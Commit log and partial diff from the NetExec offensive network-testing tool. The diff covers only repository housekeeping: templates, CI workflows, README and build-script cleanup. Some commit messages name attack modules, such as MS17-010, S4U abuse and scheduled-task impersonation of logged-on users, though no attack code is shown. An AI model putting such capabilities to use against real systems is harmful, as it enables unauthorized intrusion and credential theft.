sandw1ch 47a158fdc2 Update e2e_commands.txt
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 16:09:38 -05:00
sandw1ch 2e0a73c225 Update and rename get_fgpp.py to pso.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 16:07:27 -05:00
sandw1ch bab6377101 Delete nxc/modules/pso.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 16:06:54 -05:00
sandw1ch 9a4594ea40 Update get_fgpp.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 15:58:00 -05:00
sandw1ch 6f8143136c Update get_fgpp.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 15:40:13 -05:00
sandw1ch 2915a54811 Update get_fgpp.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 14:26:36 -05:00
sandw1ch 0d5030be81 Update poetry.lock
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 13:37:51 -05:00
sandw1ch cdced86af4 Update e2e_commands.txt to include get_fgpp
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 13:36:39 -05:00
sandw1ch cbefc31a04 Update pyproject.toml to include dateutil
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 13:30:43 -05:00
sandw1ch e898c25716 Create get_fgpp.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 13:18:12 -05:00
Alex 314b7f6a81 Merge pull request #54 from Dfte/main 2023-10-10 18:59:41 +02:00
Alex 444845c7e2 Merge branch 'develop' into main 2023-10-10 06:58:37 -04:00
Alex 653cec7993 Merge pull request #58 from bongobongoland/develop
Update enum_av.py
2023-10-08 16:34:02 -04:00
Alexander Neff 2ef51d642a Fix indentation and formating 2023-10-08 16:20:30 -04:00
Alex 3384e9a28f Merge branch 'develop' into main 2023-10-08 14:54:11 -04:00
Alexander Neff ae417e5d3a Autoformat 2023-10-08 14:52:37 -04:00
Alexander Neff 669e0b45e7 Replace str(e).find with 'string' in str(e) 2023-10-08 14:50:59 -04:00
Alexander Neff b2c73b05d1 Added fail messages for not existing users and users having no active session, stop printing empty output messages. 2023-10-08 07:56:05 -04:00
Xiaoli Chan 84a41b72a2 [SSH] Remove useless package
Signed-off-by: Xiaoli Chan <[email protected]>
2023-10-08 00:03:21 +08:00
Xiaoli Chan 95ccfca992 [SSH] Logic fix
Signed-off-by: Xiaoli Chan <[email protected]>
2023-10-08 00:02:08 +08:00
Xiaoli Chan ea62e42526 [SSH] improve login failed output
Signed-off-by: Xiaoli Chan <[email protected]>
2023-10-07 23:35:36 +08:00
Xiaoli Chan c9af18df67 [SSH] fix private key with passphrase login
Signed-off-by: Xiaoli Chan <[email protected]>
2023-10-07 23:05:51 +08:00
Xiaoli Chan cec042d8ee [SSH] fix private key with passphrase login
Signed-off-by: Xiaoli Chan <[email protected]>
2023-10-07 23:03:23 +08:00
XiaoliChan 78de09be8d [ssh] Neff review I
Signed-off-by: XiaoliChan <[email protected]>
2023-10-07 16:37:45 +08:00
XiaoliChan d21bf5e463 [ssh] Marshall review I
Signed-off-by: XiaoliChan <[email protected]>
2023-10-07 15:36:00 +08:00
XiaoliChan 4b62a53790 Merge remote-tracking branch 'upstream/main' into ssh-improv 2023-10-07 15:08:34 +08:00
Marshall Hallenbeck 85d052e7e4 Merge branch 'develop' into marshall-dependency-update-9-19-2023
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-06 20:20:13 -04:00
Marshall Hallenbeck c2f4c5d9d3 Merge branch 'develop' into marshall_cleanup
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-06 13:47:35 -04:00
Marshall Hallenbeck 389b381584 cleanup(ruff): finish cleaning up E722 (do not euse bare except) 2023-10-06 12:47:49 -04:00
Marshall Hallenbeck b38ad265af formatting 2023-10-06 12:43:34 -04:00
Marshall Hallenbeck 95aaac7f68 cleanup: fix F403 from Ruff (import *) 2023-10-06 12:41:00 -04:00
Marshall Hallenbeck 165fa508ed bloodhound: fix imports 2023-10-06 12:31:07 -04:00
Marshall Hallenbeck 84358bb480 mssql: fix indentation 2023-10-06 12:30:30 -04:00
Marshall Hallenbeck f66923b296 ldap: fix truthiness check 2023-10-06 12:29:36 -04:00
Marshall Hallenbeck 4ec4672b87 ldap: fix error output string 2023-10-06 12:28:00 -04:00
Alex e24601b345 Fix #48 tries to falsly add creds to bloodhound using --laps 2023-10-06 12:22:27 -04:00
Marshall Hallenbeck 7620112657 ruff cleanup 2023-10-06 12:22:27 -04:00
Alex 6a0646067c Remove old NotImplementedError 2023-10-06 12:22:27 -04:00
Marshall Hallenbeck 386208a49c fix string interpolation 2023-10-06 12:22:27 -04:00
Marshall Hallenbeck 11ddfd9c79 ruff autoformat to clean up all the single quotes and other bad formatting 2023-10-06 12:22:25 -04:00
Marshall Hallenbeck 9ae9d01e5a update ruff version 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 2cae1dcaa7 no need for gitmodules anymore 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 2805dc6a70 remove flake 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 2dd8ea9ef0 clean up wireless module 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 51c8ee3f2f cleanup winscp_dump module 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 7deee30942 cleanup wdigest module 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck a956d2cae8 fix variable naming for file listing 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck e9a7fda619 cleanup 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck e84a52c859 refactor(wcc): update wcc module quotes and refactor some formatting 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 3655cbff82 clean up ntdsutil module 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 9598e971da clean up rdp module 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 5f0ed02364 add F841 (variable assigned but never used) to ruff exclude 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 84b1e41eb7 properly use fstring 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 6580604246 properly import specific ctypes and update description 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck f402c4546a fix ignore rule (E->F) 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck cfbdcb3cb0 More cleanup 2023-10-06 12:21:32 -04:00
Marshall Hallenbeck 7e7e86725c remove old urllib3 error ignore 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 63a761c760 fix exception handle and add TODO 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck ddc5c2ea7b documentation(mssql_priv): add docstrings and a bit of cleanup 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 064921b9ee refactor(ms17-010): clean up and add full AI-generated comments to MS17-010 Module, since there's a lot of byte-work 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 9ec7cd6fa1 do some cleanup for hash_spider for #38 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 6c68100c8a clean up appcmd.py 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 28e25c560b ignore additional linting rule 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 0ca3827d91 add back in more checks for ruff 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 10b3cdd115 fix running ruff 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 3ab397f45a actually add the linter workflow 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 1b97cebac3 fix escaping in smbexec 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 5ec969c733 more cleanup 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 110e6473d3 clean up find-computer module 2023-10-06 12:20:40 -04:00
Marshall Hallenbeck a8b14cee7f refactor(add_computer): refactor and add docstrings to add_computer module 2023-10-06 12:19:26 -04:00
Marshall Hallenbeck e80c4807a6 fix exception handling 2023-10-06 12:19:26 -04:00
Marshall Hallenbeck f6812f2eb4 cleanup wmiexec_event code 2023-10-06 12:19:26 -04:00
Marshall Hallenbeck 8ec3e62bfb fix exception handling 2023-10-06 12:19:26 -04:00
Marshall Hallenbeck ffb9dd3f91 fix exception handling and remove unused function 2023-10-06 12:19:26 -04:00
Marshall Hallenbeck 45fdc26847 automatic ruff fixing 2023-10-06 12:19:22 -04:00
Marshall Hallenbeck a1c0080d82 fix type check and add docstrings to powershell.py 2023-10-06 12:17:17 -04:00
Marshall Hallenbeck 345a0748b3 cleanup: fix variable names in query_db_cred 2023-10-06 12:17:17 -04:00
Marshall Hallenbeck 182c7a5a01 doc(connection.py): add docstring for call_modules 2023-10-06 12:17:17 -04:00
Marshall Hallenbeck f1f34b3c72 update exception handling and add docstring to call_cmd_args. also make variables easier to understand 2023-10-06 12:17:17 -04:00
Marshall Hallenbeck 01c530391f update exception handling 2023-10-06 12:17:17 -04:00
Marshall Hallenbeck 5ab24c1f47 fix exception handling and printing in build collector 2023-10-06 12:17:17 -04:00
Marshall Hallenbeck f4d5a5668b smbexec: fix escaping sequence 2023-10-06 12:17:17 -04:00
Marshall Hallenbeck a2dc03773d nxcdb: fix escaping sequence 2023-10-06 12:17:17 -04:00
Marshall Hallenbeck 7f5a6f4f50 fix escaping sequence in log 2023-10-06 12:17:16 -04:00
Marshall Hallenbeck b0b36ede87 rename nxc PATH variable 2023-10-06 12:17:16 -04:00
Marshall Hallenbeck 39cdcc12bb remove unused code 2023-10-06 12:17:16 -04:00
Marshall Hallenbeck 193ef25748 remove unnecessary imports 2023-10-06 12:17:16 -04:00
Defte 0523208c4e Update schtask_as.py
- Sed "g/atexec/schtask_as/s"
- Better error output (unknown username, task has not run)
- Added the output.decode("cp437") for french caracters

Signed-off-by: Defte <[email protected]>
2023-10-06 17:05:16 +02:00
Alex 81c9803ada Merge branch 'develop' into ascii-art 2023-10-05 19:10:22 -04:00
bongobongoland e40d4f2a3d Update enum_av.py
Signed-off-by: bongobongoland <[email protected]>
2023-10-06 10:04:59 +11:00
Alexander Neff d81adbb28a Update poetry.lock 2023-10-05 18:22:12 -04:00
Alex deb3c89efa Merge pull request #53 from Pennyw0rth/dependabot/pip/urllib3-2.0.6
Bump urllib3 from 2.0.4 to 2.0.6
2023-10-05 18:10:35 -04:00
Alexander Neff d971e0d5ab Add ascii art to cli 2023-10-05 18:05:14 -04:00
Alexander Neff 052cbe28ba Fix tab indention error in ldap.py 2023-10-05 19:36:03 +02:00
Marshall Hallenbeck 5e80ebd8dc Merge branch 'develop' into marshall_cleanup 2023-10-05 10:01:26 -04:00
Defte 429a6a4e18 Update schtask_as.py
Fix typo

Signed-off-by: Defte <[email protected]>
2023-10-05 12:03:26 +02:00
Defte 16cfaec75d Update schtask_as.py
Modify the variable name to schtask_as
Change the description

Signed-off-by: Defte <[email protected]>
2023-10-05 11:58:58 +02:00
Defte cba97cd068 Rename schtask.py to schtask_as.py
Rename the module to prevent confusion.

Signed-off-by: Defte <[email protected]>
2023-10-05 11:24:50 +02:00
Defte 116c8f7833 Update schtask.py
Add @Shad0wC0ntr0ller snippet to remove hardcoded date.

Signed-off-by: Defte <[email protected]>
2023-10-05 11:15:10 +02:00
Alex dec35a526b Merge pull request #49 from Pennyw0rth/neff-bugfixes 2023-10-04 02:55:42 +02:00
Alex 9a74343497 Move oscrypto fork to Pennyw0rth 2023-10-03 23:19:10 +02:00
zblurx 73fe842064 update e2e_tests 2023-10-03 19:44:54 +02:00
zblurx 1148018394 Update codec management 2023-10-03 18:40:07 +02:00
Defte bcbfad6a18 Create schtask.py
Add the schtask module that can be used to impersonate loggedon users and run commands on their behalf.

Signed-off-by: Defte <[email protected]>
2023-10-03 17:52:06 +02:00
romanrii f2d0178529 Added function tests + test file for FTP upload/download testing 2023-10-03 04:09:13 +00:00
dependabot[bot] e033d22b5d Bump urllib3 from 2.0.4 to 2.0.6
Bumps [urllib3](https://github.com/urllib3/urllib3) from 2.0.4 to 2.0.6.
- [Release notes](https://github.com/urllib3/urllib3/releases)
- [Changelog](https://github.com/urllib3/urllib3/blob/main/CHANGES.rst)
- [Commits](https://github.com/urllib3/urllib3/compare/2.0.4...2.0.6)

---
updated-dependencies:
- dependency-name: urllib3
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-10-03 00:21:38 +00:00
Marshall Hallenbeck a44e498470 Merge branch 'develop' into s4u 2023-10-02 17:55:09 -04:00
Marshall Hallenbeck 708f82a04b Merge branch 'develop' into marshall-dependency-update-9-19-2023 2023-10-02 17:53:00 -04:00
Marshall Hallenbeck a2584471c9 Merge branch 'develop' into marshall_cleanup
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-02 17:51:52 -04:00
Marshall Hallenbeck fe91e7535e Merge branch 'develop' into main 2023-10-02 17:48:35 -04:00
Marshall Hallenbeck d217840dbf Merge branch 'main' into neff-bugfixes 2023-10-02 17:32:51 -04:00
Roman Rivas II 5207288b13 Merge pull request #1 from Pennyw0rth/main
update
2023-09-30 23:31:26 -07:00
zblurx 4c419b5e08 implement s4u abuse 2023-09-29 19:21:59 +02:00
Marshall Hallenbeck d54b82e388 Merge branch 'main' into main 2023-09-28 15:40:09 -04:00
Alex efb510d49b Fix #48 tries to falsly add creds to bloodhound using --laps 2023-09-28 00:32:00 +02:00
romanrii a306cfaf5c Added exception handler if a local file does not exist when attempting to upload it to a ftp server using --put 2023-09-24 12:54:48 +00:00
romanrii 9cbd847fd6 Modified nxc/protocols/ftp/proto_args.py and added (--get and --put). Modified --ls
Modified nxc/protocols/ftp.py and added --get and --put functionality. Modified --ls functionality
2023-09-24 12:36:14 +00:00
Marshall Hallenbeck 14be9d5b0e ruff cleanup 2023-09-24 00:25:08 -04:00
Marshall Hallenbeck 443c363129 Merge branch 'marshall_cleanup' of https://github.com/Pennyw0rth/NetExec into marshall_cleanup 2023-09-24 00:07:00 -04:00
Marshall Hallenbeck c445d381c5 fix string interpolation 2023-09-24 00:06:51 -04:00
Alex 69514ce356 Remove old NotImplementedError 2023-09-23 12:56:04 +02:00
Marshall Hallenbeck 7b44fcd327 ruff autoformat to clean up all the single quotes and other bad formatting 2023-09-22 21:10:21 -04:00
Marshall Hallenbeck d7d30cb2e8 update ruff version 2023-09-22 20:58:22 -04:00
Marshall Hallenbeck 0dc6d61d1a no need for gitmodules anymore 2023-09-22 20:48:32 -04:00
Marshall Hallenbeck e3dfbb3f15 remove flake 2023-09-22 20:47:26 -04:00
Marshall Hallenbeck bda8ecb129 clean up wireless module 2023-09-22 15:37:07 -04:00
Marshall Hallenbeck efbecca7a7 cleanup winscp_dump module 2023-09-22 15:33:41 -04:00
Marshall Hallenbeck dae229a378 cleanup wdigest module 2023-09-22 15:27:05 -04:00
Marshall Hallenbeck bbf1024b37 fix variable naming for file listing 2023-09-22 15:24:22 -04:00
Marshall Hallenbeck d12c139c9e cleanup 2023-09-22 15:23:00 -04:00
Marshall Hallenbeck f554223d75 refactor(wcc): update wcc module quotes and refactor some formatting 2023-09-22 15:22:54 -04:00
Marshall Hallenbeck 3f1d0f4f91 clean up ntdsutil module 2023-09-22 15:07:07 -04:00
Marshall Hallenbeck a730ed0f22 clean up rdp module 2023-09-22 15:06:58 -04:00
Marshall Hallenbeck a460565cd8 add F841 (variable assigned but never used) to ruff exclude 2023-09-22 14:56:36 -04:00
Marshall Hallenbeck 5b6153c2a8 properly use fstring 2023-09-22 14:55:18 -04:00
Marshall Hallenbeck 63ac5c7e77 properly import specific ctypes and update description 2023-09-22 14:55:01 -04:00
Marshall Hallenbeck 89968b3d54 fix ignore rule (E->F) 2023-09-22 14:12:27 -04:00
Marshall Hallenbeck 7f4ab239f5 More cleanup 2023-09-22 10:51:38 -04:00
Marshall Hallenbeck 85ed0794ee remove old urllib3 error ignore 2023-09-22 10:40:43 -04:00
Marshall Hallenbeck b33ccfb1c8 fix exception handle and add TODO 2023-09-22 10:40:29 -04:00
Marshall Hallenbeck da2ec9b274 documentation(mssql_priv): add docstrings and a bit of cleanup 2023-09-22 10:37:10 -04:00
Marshall Hallenbeck b38e71d8fa refactor(ms17-010): clean up and add full AI-generated comments to MS17-010 Module, since there's a lot of byte-work 2023-09-22 10:04:36 -04:00
Marshall Hallenbeck 2a5c01d6b6 do some cleanup for hash_spider for #38 2023-09-22 09:56:04 -04:00
Marshall Hallenbeck 76bf3be084 clean up appcmd.py 2023-09-22 09:50:56 -04:00
Marshall Hallenbeck 9ecb07c9e8 ignore additional linting rule 2023-09-22 09:48:40 -04:00
Marshall Hallenbeck 4d8441edfd Merge branch 'main' into marshall-dependency-update-9-19-2023 2023-09-22 09:18:50 -04:00
Alex 24bdf8fbb8 Add comment for oscrypto package 2023-09-22 14:50:40 +02:00
Marshall Hallenbeck 155547c889 add back in more checks for ruff 2023-09-21 23:50:21 -04:00
Marshall Hallenbeck 017c26bd3b fix running ruff 2023-09-21 23:47:59 -04:00
Marshall Hallenbeck 9eb4487369 actually add the linter workflow 2023-09-21 23:45:41 -04:00
Marshall Hallenbeck d0ecd4b889 fix escaping in smbexec 2023-09-21 23:44:05 -04:00
Marshall Hallenbeck 1c7df154b8 more cleanup 2023-09-21 23:42:54 -04:00
Marshall Hallenbeck f5439cb43f clean up find-computer module 2023-09-21 23:12:59 -04:00
Marshall Hallenbeck fb0d153210 refactor(add_computer): refactor and add docstrings to add_computer module 2023-09-20 12:24:42 -04:00
Marshall Hallenbeck ee1e7b0d52 fix exception handling 2023-09-20 12:24:20 -04:00
Marshall Hallenbeck bdf0fe27e8 cleanup wmiexec_event code 2023-09-20 12:06:44 -04:00
Marshall Hallenbeck b788f09af8 fix exception handling 2023-09-20 12:03:41 -04:00
Marshall Hallenbeck 1e381fb62d fix exception handling and remove unused function 2023-09-20 12:02:37 -04:00
Marshall Hallenbeck 85335213da automatic ruff fixing 2023-09-20 11:59:16 -04:00
Marshall Hallenbeck f9489dcb7e fix type check and add docstrings to powershell.py 2023-09-20 11:52:11 -04:00
Marshall Hallenbeck 43ce9cbd20 cleanup: fix variable names in query_db_cred 2023-09-20 11:43:20 -04:00
Marshall Hallenbeck bfe875d37c doc(connection.py): add docstring for call_modules 2023-09-20 11:36:44 -04:00
Marshall Hallenbeck 1ef24853a4 update exception handling and add docstring to call_cmd_args. also make variables easier to understand 2023-09-20 11:34:43 -04:00
Marshall Hallenbeck a1af9e31d8 update exception handling 2023-09-20 11:29:53 -04:00
Marshall Hallenbeck 7e366385f6 fix exception handling and printing in build collector 2023-09-20 11:28:09 -04:00
Marshall Hallenbeck 414b1f36b8 smbexec: fix escaping sequence 2023-09-20 09:14:21 -04:00
Marshall Hallenbeck ba10268a50 nxcdb: fix escaping sequence 2023-09-20 09:13:29 -04:00
Marshall Hallenbeck d57f3af7b1 fix escaping sequence in log 2023-09-20 09:11:20 -04:00
Marshall Hallenbeck 32f3c262f6 add comment on the inclusion of pyreadline 2023-09-20 08:42:24 -04:00
Marshall Hallenbeck dd33a93d64 Merge branch 'marshall-dependency-update-9-19-2023' of github.com:Pennyw0rth/NetExec into marshall-dependency-update-9-19-2023 2023-09-20 08:40:09 -04:00
Marshall Hallenbeck 7380ba7dd2 update dependencies again, but roll back pywerview and neo4j upgrade, replace flake8 with ruff, and remove black 2023-09-20 08:39:51 -04:00
Marshall Hallenbeck 8c7ed6725d rename nxc PATH variable 2023-09-20 00:09:25 -04:00
Marshall Hallenbeck 29dfcb4f70 remove unused code 2023-09-19 22:07:14 -04:00
Marshall Hallenbeck b75b1dc218 remove unnecessary imports 2023-09-19 21:49:10 -04:00
Marshall Hallenbeck 97b7ee22d0 Merge branch 'main' into marshall-dependency-update-9-19-2023 2023-09-19 17:00:28 -04:00
Marshall Hallenbeck 40e770f066 update version of impacket fork 2023-09-19 15:00:22 -04:00
Marshall Hallenbeck b5599b9d31 update dependencies and change impacket fork to Pennyw0rth one 2023-09-19 14:59:26 -04:00
XiaoliChan ad295ea7ac [ssh] improvement
Signed-off-by: XiaoliChan <[email protected]>
2023-09-18 16:31:36 +08:00
199 changed files with 11445 additions and 10558 deletions

No files matched your search

+1 -1
View File
@@ -3,4 +3,4 @@
##########################################
# default ownership:
* @zblurx @Marshall-Hallenbeck @NeffIsBack
* @zblurx @Marshall-Hallenbeck @NeffIsBack @mpgn
+1 -1
View File
@@ -30,7 +30,7 @@ If applicable, add screenshots to help explain your problem.
**NetExec info**
- OS: [e.g. Kali]
- Version of nxc [e.g. v1.5.2]
- Version of nxc: [e.g. v1.5.2]
- Installed from: apt/github/pip/docker/...? Please try with latest release before openning an issue
**Additional context**
+18
View File
@@ -0,0 +1,18 @@
---
name: Feature request
about: Request a new feature or enhancement
title: ''
labels: ''
assignees: ''
---
**Please Describe The Problem To Be Solved**
(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
**(Optional): Suggest A Solution**
(Replace This Text: A concise description of your preferred solution. Things to address include:
* Details of the technical implementation
* Tradeoffs made in design decisions
* Caveats and considerations for the future
If there are multiple solutions, please present each one separately. Save comparisons for the very end.)
@@ -0,0 +1,44 @@
---
name: Pull request
about: Update code to fix a bug or add an enhancement/feature
title: ''
labels: ''
assignees: ''
---
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
Please also include relevant motivation and context.
List any dependencies that are required for this change.
## Type of change
Please delete options that are not relevant.
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
- [ ] This change requires a documentation update
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
## How Has This Been Tested?
Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
If you are using poetry, you can easily run tests via:
`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
## Screenshots (if appropriate):
Screenshots are always nice to have and can give a visual representation of the change.
If appropriate include before and after screenshot(s) to show which results are to be expected.
## Checklist:
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
- [ ] New and existing e2e tests pass locally with my changes
- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
- [ ] I have performed a self-review of my own code
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
File renamed without changes.
+30
View File
@@ -0,0 +1,30 @@
name: Lint Python code with ruff
# Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
on:
push:
jobs:
lint:
runs-on: ubuntu-latest
if:
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
steps:
- uses: actions/checkout@v3
- name: Install poetry
run: |
pipx install poetry
- name: Set up Python
uses: actions/setup-python@v4
with:
python-version: 3.11
cache: poetry
cache-dependency-path: poetry.lock
- name: Install dependencies with dev group
run: |
poetry install --with dev
- name: Run ruff
run: |
poetry run ruff --version
poetry run ruff check . --preview
-32
View File
@@ -1,32 +0,0 @@
name: NetExec Tests
on:
pull_request_review:
types: [submitted]
jobs:
build:
name: NetExec Tests for Py${{ matrix.python-version }}
runs-on: ${{ matrix.os }}
strategy:
max-parallel: 4
matrix:
os: [ubuntu-latest]
python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
steps:
- uses: actions/checkout@v3
- name: NetExec tests on ${{ matrix.os }}
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
- name: Install poetry
run: |
pipx install poetry --python python${{ matrix.python-version }}
poetry --version
poetry env info
- name: Install libraries with dev group
run: |
poetry install --with dev
- name: Run the e2e test
run: |
poetry run pytest tests
+51
View File
@@ -0,0 +1,51 @@
name: NetExec Tests
on:
workflow_dispatch:
pull_request_review:
types: [submitted]
jobs:
build:
name: Test for Py${{ matrix.python-version }}
if: github.event.review.state == 'APPROVED'
runs-on: ${{ matrix.os }}
strategy:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
steps:
- uses: actions/checkout@v3
- name: Install poetry
run: |
pipx install poetry
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
cache: poetry
cache-dependency-path: poetry.lock
- name: Install with pipx
run: |
pipx install . --python python${{ matrix.python-version }}
- name: Install poetry
run: |
pipx install poetry --python python${{ matrix.python-version }}
poetry --version
poetry env info
- name: Install libraries with dev group
run: |
poetry install --with dev
- name: Load every protocol and module
run: |
poetry run netexec winrm 127.0.0.1
poetry run netexec vnc 127.0.0.1
poetry run netexec smb 127.0.0.1
poetry run netexec ldap 127.0.0.1
poetry run netexec wmi 127.0.0.1
poetry run netexec rdp 127.0.0.1
poetry run netexec mssql 127.0.0.1
poetry run netexec ssh 127.0.0.1
poetry run netexec ftp 127.0.0.1
poetry run netexec smb 127.0.0.1 -M veeam
+2 -3
View File
@@ -1,8 +1,10 @@
data/nxc.db
hash_spider_default.sqlite3
hash_spider_testing.sqlite3
*.bak
*.log
.venv
pyvenv.cfg
.vscode
.idea
# Byte-compiled / optimized / DLL files
@@ -57,9 +59,6 @@ coverage.xml
*.mo
*.pot
# Django stuff:
*.log
# Sphinx documentation
docs/_build/
View File
Whitespace-only changes.
+2 -2
View File
@@ -1,5 +1,5 @@
Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx
Copyright (c) 2022, byt3bl33d3r, mpgn_x64
Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
Copyright (c) 2022, byt3bl33d3r
All rights reserved.
Redistribution and use in source and binary forms, with or without
+11 -3
View File
@@ -1,7 +1,8 @@
![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg)
![Supported Python versions](https://img.shields.io/badge/python-3.8+-blue.svg)
[![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
[![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx)
[![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
[![Twitter](https://img.shields.io/twitter/follow/mpgn_x64?label=mpgn_x64&style=social)](https://twitter.com/intent/follow?screen_name=mpgn_x64)
🚩 This is the open source repository of NetExec maintained by a community of passionate people
@@ -9,7 +10,7 @@
This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.
Along with many other contributers, we (NeffIsBack, Marshall-Hallenbeck, and zblurx) developed new features, bugfixes, and helped maintain the original project CrackMapExec.
Along with many other contributors, we (NeffIsBack, Marshall-Hallenbeck, and zblurx) developed new features, bug fixes, and helped maintain the original project CrackMapExec.
During this time, with both a private and public repository, community contributions were not easily merged into the project. The 6-8 month discrepancy between the code bases caused many development issues and heavily reduced community-driven development.
With the end of mpgn's maintainer role, we (the remaining most active contributors) decided to maintain the project together as a fully free and open source project under the new name **NetExec** 🚀
Going forward, our intent is to maintain a community-driven and maintained project with regular updates for everyone to use.
@@ -20,7 +21,7 @@ Going forward, our intent is to maintain a community-driven and maintained proje
You are on the **latest up-to-date** repository of the project NetExec (nxc) ! 🎉
- 🚧 If you want to report a problem, open un [Issue](https://github.com/Pennyw0rth/NetExec/issues)
- 🚧 If you want to report a problem, open an [Issue](https://github.com/Pennyw0rth/NetExec/issues)
- 🔀 If you want to contribute, open a [Pull Request](https://github.com/Pennyw0rth/NetExec/pulls)
- 💬 If you want to discuss, open a [Discussion](https://github.com/Pennyw0rth/NetExec/discussions)
@@ -36,6 +37,12 @@ See the project's [wiki](https://netexec.wiki/) (in development) for documentati
# Installation
Please see the installation instructions on the [wiki](https://netexec.wiki/getting-started/installation) (in development)
## Linux
```
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
```
# Development
Development guidelines and recommendations in development
@@ -50,3 +57,4 @@ Awesome code contributors of NetExec:
[![](https://github.com/zblurx.png?size=50)](https://github.com/zblurx)
[![](https://github.com/NeffIsBack.png?size=50)](https://github.com/NeffIsBack)
[![](https://github.com/Hackndo.png?size=50)](https://github.com/Hackndo)
[![](https://github.com/XiaoliChan.png?size=50)](https://github.com/XiaoliChan)
+6 -11
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import shutil
import subprocess
@@ -11,27 +8,26 @@ from pathlib import Path
from shiv.bootstrap import Environment
# from distutils.ccompiler import new_compiler
from shiv.builder import create_archive
from shiv.cli import __version__ as VERSION
def build_nxc():
print("building nxc")
print("Building nxc")
try:
shutil.rmtree("bin")
shutil.rmtree("build")
except Exception as e:
except FileNotFoundError:
pass
except Exception as e:
print(f"Exception while removing bin & build: {e}")
try:
print("remove useless files")
os.mkdir("build")
os.mkdir("bin")
shutil.copytree("nxc", "build/nxc")
except Exception as e:
print(e)
print(f"Exception while creating bin and build directories: {e}")
return
subprocess.run(
@@ -48,7 +44,6 @@ def build_nxc():
check=True,
)
# [shutil.rmtree(p) for p in Path("build").glob("**/__pycache__")]
[shutil.rmtree(p) for p in Path("build").glob("**/*.dist-info")]
env = Environment(
@@ -93,7 +88,7 @@ if __name__ == "__main__":
